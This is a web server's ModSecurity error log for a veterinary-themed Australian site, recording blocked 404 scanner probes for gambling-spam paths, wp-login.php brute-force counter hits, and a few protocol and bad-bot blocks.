[Sun May 24 10:03:46.724948 2026] [:error] [pid 2639:tid 2648] [client 81.167.26.57:55236] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "ahJcgkzQncQTd0Z0Oe_VowAAAQc"]
[Sun May 24 10:03:49.323762 2026] [:error] [pid 2639:tid 2644] [client 81.167.26.57:16980] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "ahJchUzQncQTd0Z0Oe_VwAAAAQM"]
[Sun May 24 10:03:51.933201 2026] [:error] [pid 49744:tid 49755] [client 81.167.26.57:2767] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "ahJchzsE5kPdFpUbbHFr_gAAAMk"]
[Sun May 24 10:03:54.378629 2026] [:error] [pid 49689:tid 49734] [client 81.167.26.57:49444] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "ahJcigaxiY3NxLUD97UeJQAAAJA"]
[Sun May 24 10:03:57.002855 2026] [:error] [pid 49688:tid 49712] [client 81.167.26.57:1616] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "ahJcjWYoQ9V6a_4pBshkPAAAAFU"]
[Sun May 24 10:03:59.722154 2026] [:error] [pid 49688:tid 49714] [client 81.167.26.57:43707] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "ahJcj2YoQ9V6a_4pBshkPwAAAFc"]
[Sun May 24 10:04:02.348991 2026] [:error] [pid 2639:tid 2641] [client 81.167.26.57:39680] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "ahJckkzQncQTd0Z0Oe_V1AAAAQA"]
[Sun May 24 10:04:04.925022 2026] [:error] [pid 49689:tid 49721] [client 81.167.26.57:31165] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "ahJclAaxiY3NxLUD97UeLQAAAIM"]
[Sun May 24 10:04:07.523459 2026] [:error] [pid 49744:tid 49763] [client 81.167.26.57:22208] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "ahJclzsE5kPdFpUbbHFsEgAAANE"]
[Sun May 24 10:04:10.790381 2026] [:error] [pid 49775:tid 49789] [client 81.167.26.57:59275] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "ahJcmovZb8G6T8WpI1gk0wAAAAw"]
[Sun May 24 10:04:13.518850 2026] [:error] [pid 49688:tid 49700] [client 81.167.26.57:11784] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "ahJcnWYoQ9V6a_4pBshkSwAAAEk"]
[Sun May 24 10:04:16.262663 2026] [:error] [pid 49775:tid 49787] [client 81.167.26.57:35162] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "ahJcoIvZb8G6T8WpI1gk2QAAAAo"]
[Sun May 24 10:04:59.055111 2026] [:error] [pid 49744:tid 49760] [client 81.167.26.57:50170] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "ahJcyzsE5kPdFpUbbHFsTQAAAM4"]
[Sun May 24 10:05:01.628115 2026] [:error] [pid 49689:tid 49729] [client 81.167.26.57:63411] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "ahJczQaxiY3NxLUD97UebwAAAIs"]
[Sun May 24 10:05:04.223573 2026] [:error] [pid 49744:tid 49756] [client 81.167.26.57:52396] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "ahJc0DsE5kPdFpUbbHFsUgAAAMo"]
[Sun May 24 10:05:07.557965 2026] [:error] [pid 2639:tid 2662] [client 81.167.26.57:34933] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "ahJc00zQncQTd0Z0Oe_WJAAAARU"]
[Sun May 24 10:05:10.280449 2026] [:error] [pid 49689:tid 49720] [client 81.167.26.57:6943] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "ahJc1gaxiY3NxLUD97UefQAAAII"]
[Sun May 24 10:05:12.878916 2026] [:error] [pid 49775:tid 49782] [client 81.167.26.57:53478] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "ahJc2IvZb8G6T8WpI1glJgAAAAU"]
[Sun May 24 10:05:15.587533 2026] [:error] [pid 49775:tid 49797] [client 81.167.26.57:25484] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "ahJc24vZb8G6T8WpI1glLwAAABQ"]
[Sun May 24 10:05:18.148962 2026] [:error] [pid 49775:tid 49790] [client 81.167.26.57:2206] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "ahJc3ovZb8G6T8WpI1glMgAAAA0"]
[Sun May 24 10:05:20.731077 2026] [:error] [pid 49775:tid 49786] [client 81.167.26.57:42471] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "ahJc4IvZb8G6T8WpI1glOgAAAAk"]
[Sun May 24 10:05:23.325287 2026] [:error] [pid 49775:tid 49778] [client 81.167.26.57:58988] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "ahJc44vZb8G6T8WpI1glPwAAAAE"]
[Sun May 24 10:05:26.026568 2026] [:error] [pid 49775:tid 49801] [client 81.167.26.57:59634] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "ahJc5ovZb8G6T8WpI1glRAAAABg"]
[Sun May 24 10:05:28.610258 2026] [:error] [pid 2639:tid 2646] [client 81.167.26.57:4133] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "ahJc6EzQncQTd0Z0Oe_WLgAAAQU"]
[Sun May 24 10:05:31.350150 2026] [:error] [pid 2639:tid 2643] [client 81.167.26.57:18704] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "ahJc60zQncQTd0Z0Oe_WNwAAAQI"]
[Sun May 24 10:05:34.047966 2026] [:error] [pid 2639:tid 2659] [client 81.167.26.57:48860] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "ahJc7kzQncQTd0Z0Oe_WPwAAARI"]
[Sun May 24 10:49:23.503828 2026] [:error] [pid 2639:tid 2649] [client 65.108.2.171:56240] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "ahJnM0zQncQTd0Z0Oe_xBQAAAQg"]
[Sun May 24 10:49:26.239573 2026] [:error] [pid 2639:tid 2642] [client 65.108.2.171:52074] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "ahJnNkzQncQTd0Z0Oe_xDQAAAQE"]
[Sun May 24 10:49:28.875085 2026] [:error] [pid 49775:tid 49786] [client 65.108.2.171:52080] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "ahJnOIvZb8G6T8WpI1g3GQAAAAk"]
[Sun May 24 10:49:31.680835 2026] [:error] [pid 2639:tid 2658] [client 65.108.2.171:52082] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "ahJnO0zQncQTd0Z0Oe_xHwAAARE"]
[Sun May 24 10:49:34.455833 2026] [:error] [pid 49775:tid 49795] [client 65.108.2.171:52090] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "ahJnPovZb8G6T8WpI1g3IQAAABI"]
[Sun May 24 10:49:37.207570 2026] [:error] [pid 49775:tid 49800] [client 65.108.2.171:6488] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ahJnQYvZb8G6T8WpI1g3JgAAABc"]
[Sun May 24 10:49:39.860004 2026] [:error] [pid 2639:tid 2645] [client 65.108.2.171:6492] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "ahJnQ0zQncQTd0Z0Oe_xPgAAAQQ"]
[Sun May 24 10:49:42.484232 2026] [:error] [pid 49775:tid 49794] [client 65.108.2.171:6496] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "ahJnRovZb8G6T8WpI1g3LgAAABE"]
[Sun May 24 10:49:44.953451 2026] [:error] [pid 49688:tid 49697] [client 65.108.2.171:37350] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ahJnSGYoQ9V6a_4pBshvfAAAAEY"]
[Sun May 24 10:49:47.653282 2026] [:error] [pid 49689:tid 49730] [client 65.108.2.171:37354] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "ahJnSwaxiY3NxLUD97UrPwAAAIw"]
[Sun May 24 10:49:50.335120 2026] [:error] [pid 49775:tid 49778] [client 65.108.2.171:37358] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "ahJnTovZb8G6T8WpI1g3QAAAAAE"]
[Sun May 24 10:50:14.453384 2026] [:error] [pid 49775:tid 49801] [client 65.108.2.171:45904] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "ahJnZovZb8G6T8WpI1g3ZgAAABg"]
[Sun May 24 10:50:17.127417 2026] [:error] [pid 49744:tid 49762] [client 65.108.2.171:19082] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "ahJnaTsE5kPdFpUbbHF7WAAAANA"]
[Sun May 24 12:29:28.914964 2026] [:error] [pid 49775:tid 49799] [client 50.87.144.126:39826] [client 50.87.144.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.87.144.126, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahJ-qIvZb8G6T8WpI1hUvgAAABY"]
[Sun May 24 12:29:31.347581 2026] [:error] [pid 49775:tid 49785] [client 50.87.144.126:39826] [client 50.87.144.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.87.144.126, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahJ-q4vZb8G6T8WpI1hUygAAAAg"], referer: https://vetstars.com.au/wp-login.php
[Sun May 24 12:55:52.688155 2026] [:error] [pid 49688:tid 49705] [client 69.30.235.212:47642] [client 69.30.235.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.30.235.212, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahKE2GYoQ9V6a_4pBsiGFgAAAE4"]
[Sun May 24 12:55:53.991490 2026] [:error] [pid 49688:tid 49710] [client 69.30.235.212:47642] [client 69.30.235.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.30.235.212, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahKE2WYoQ9V6a_4pBsiGFwAAAFM"], referer: https://vetstars.com.au/wp-login.php
[Sun May 24 13:16:25.832630 2026] [:error] [pid 49775:tid 49779] [client 167.71.132.111:58806] [client 167.71.132.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.71.132.111, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahKJqYvZb8G6T8WpI1hgRAAAAAI"]
[Sun May 24 13:16:27.230294 2026] [:error] [pid 49775:tid 49796] [client 167.71.132.111:58806] [client 167.71.132.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.71.132.111, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahKJq4vZb8G6T8WpI1hgRQAAABM"], referer: https://vetstars.com.au/wp-login.php
[Sun May 24 13:17:36.753673 2026] [:error] [pid 49688:tid 49692] [client 43.153.54.14:59264] [client 43.153.54.14] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ahKJ8GYoQ9V6a_4pBsiKYgAAAEE"]
[Sun May 24 13:50:34.849092 2026] [:error] [pid 2639:tid 2643] [client 51.89.6.198:60734] [client 51.89.6.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.89.6.198, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahKRqkzQncQTd0Z0Oe8wMAAAAQI"]
[Sun May 24 13:50:37.161794 2026] [:error] [pid 2639:tid 2647] [client 51.89.6.198:60734] [client 51.89.6.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.89.6.198, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahKRrUzQncQTd0Z0Oe8wNwAAAQY"], referer: https://vetstars.com.au/wp-login.php
[Sun May 24 14:21:15.962958 2026] [:error] [pid 23497:tid 23516] [client 106.54.62.156:45278] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ahKY2yPlV47QcYwd2v-jvQAAAVA"]
[Sun May 24 16:00:55.136832 2026] [:error] [pid 23497:tid 23513] [client 180.150.79.64:47024] [client 180.150.79.64] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "213.180.203.242_503f0ab2ff267b53bfa5e6de54112fffcea8a215"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/uploads/slider/cache/317667b41207574af1cdc11ed3f19692/john-price-wzRQfEw9CMc-unsplash-v2.jpg"] [unique_id "ahKwNCPlV47QcYwd2v_L-QAAAU0"], referer: https://vetstars.com.au/
[Sun May 24 16:17:54.003151 2026] [:error] [pid 2639:tid 2644] [client 170.106.37.134:42790] [client 170.106.37.134] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ahK0MkzQncQTd0Z0Oe9ZUAAAAQM"]
[Sun May 24 16:49:20.553969 2026] [:error] [pid 41708:tid 41716] [client 14.225.208.202:35642] [client 14.225.208.202] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ahK7kP4tQzoTxpuHBF66IAAAAYY"]
[Sun May 24 19:46:12.157935 2026] [:error] [pid 2639:tid 2647] [client 103.28.36.200:40084] [client 103.28.36.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.28.36.200, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahLlBEzQncQTd0Z0Oe967wAAAQY"]
[Sun May 24 19:46:15.275645 2026] [:error] [pid 2639:tid 2659] [client 103.28.36.200:40084] [client 103.28.36.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.28.36.200, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahLlB0zQncQTd0Z0Oe968wAAARI"], referer: https://vetstars.com.au/wp-login.php
